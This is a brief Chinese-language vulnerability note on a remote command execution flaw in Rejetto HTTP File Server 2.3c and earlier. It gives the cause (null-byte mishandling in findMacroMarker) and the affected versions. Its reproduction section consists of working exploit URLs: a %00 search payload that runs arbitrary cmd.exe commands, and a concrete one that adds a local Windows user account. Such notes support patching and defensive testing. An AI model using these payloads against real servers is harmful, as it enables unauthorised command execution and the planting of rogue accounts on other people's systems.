Hfs 远程命令执行漏洞
一、漏洞简介
Rejetto HTTP File Server 2.3c及之前版本中的parserLib.pas文件中的'findMacroMarker'函数中存在安全漏洞,该漏洞源于parserLib.pas文件没有正确处理空字节。远程攻击者可借助搜索操作中的'%00'序列利用该漏洞执行任意程序。
二、漏洞影响
2.3c以前的2.3x版本
三、复现过程
http://www.0-sec.org:8080/?search==%00{.exec|cmd.exe /c [Command-String].}
http://www.0-sec.org:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}